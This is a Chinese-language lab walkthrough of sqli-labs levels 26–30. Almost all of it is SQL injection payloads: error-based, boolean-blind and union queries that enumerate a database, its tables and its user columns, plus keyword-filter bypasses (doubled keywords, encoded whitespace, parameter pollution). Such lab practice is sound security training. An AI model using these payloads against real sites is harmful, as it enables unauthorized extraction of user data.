less-26
这一关会过滤关键词and和or 还有注释符
1.判断注入点
在url后加单引号会引起报错 说明存在注入 可以尝试使用报错注入
2.判断是否可以使用报错注入
id=1'||updatexml(1,0x7e,1)anandd'
可以看到页面有错误回显 说明可以使用报错注入
3.查询数据库名
id=1'||updatexml(1,concat(1,database()),1)anandd'
4.查询数据库的所有表
id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security')),0x7e)anandd'
5.查询users表的所有字段
id=1'||updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users')),1)anandd'
less-27
这一关会过滤注释符和union 和select关键字
1.判断注入点
在url后加上单引号会引起报错 说明存在注入 尝试使用报错注入
2.判断是否可以使用报错注入
id=1'and%09updatexml(1,0x7e,1)and' 发现页面有报错信息 说明可以使用报错注入
3.查询数据库名
id=1'and%09updatexml(1,concat(1,database()),1)and'
4.查询数据库的所有表
id=1'and%09updatexml(1,concat(1,(sEleCt%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security')),1)and'
5.查询users表中的所有字段
id=1'and%09updatexml(1,concat(1,(sEleCt%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users')),1)and'
less-28
1.判断注入点
加上单引号会引起报错 说明存在注入
2.尝试使用布尔盲注
3.判断数据库长度
?id=2%27)%0aand%0alength(database())=8%0aand%0a(%271%27=%271
当数据库长度等于8 时 页面显示正常 说明数据库长度=8
4.查询数据库名
使用ASCII函数 利用ASCII码来判断数据库第一位字符
?id=2')%0aand%0aascii(mid(database(),1,1))=115%0aand%0a('1'='1
当数据库第一位的ASCII码=115时 页面显示正常 说明第一位字符的ASCII=115 也就是s
以此类推 可以得出数据库是security
5.查询数据库的所有表
?id=2%27)%0aand%0aascii(mid((select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a0,1),1,1))=101%0aand%0a(%271%27=%271
当第一个表的第一位字符的ASCII码=101时 页面显示正常 说明第一位字符的ASCII=101 也就是e
以此类推 可以得出所有表
less-29
这一关是双服务器解析 所有我们使用双参数绕过
1.判断注入点
在url后加上单引号 会引起报错 说明存在注入
2.判断回显点
?id=1&&id=0' union select 1,2,3 --+
3.查询数据库名
?id=1&&id=0' union select 1,database(),3 --+
4.查询数据库所有表名
?id=1&&id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
5.查询users 表的所有字段
?id=1&&id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+
less-30
这一关和上一关一样都是双参数 只是闭合方式不一样
1.判断注入点
在url后加入双引号 发现页面不正常 说明双引号是注入点
2.判断回显点
?id=1&id=-1" union select 1,2,3--+
3.查询数据库名
?id=1&id=-1" union select 1,database(),3--+
4.查询数据库的所有表
?id=1&id=-1" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
5.查询users表的所有字段
?id=1&id=-1" union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+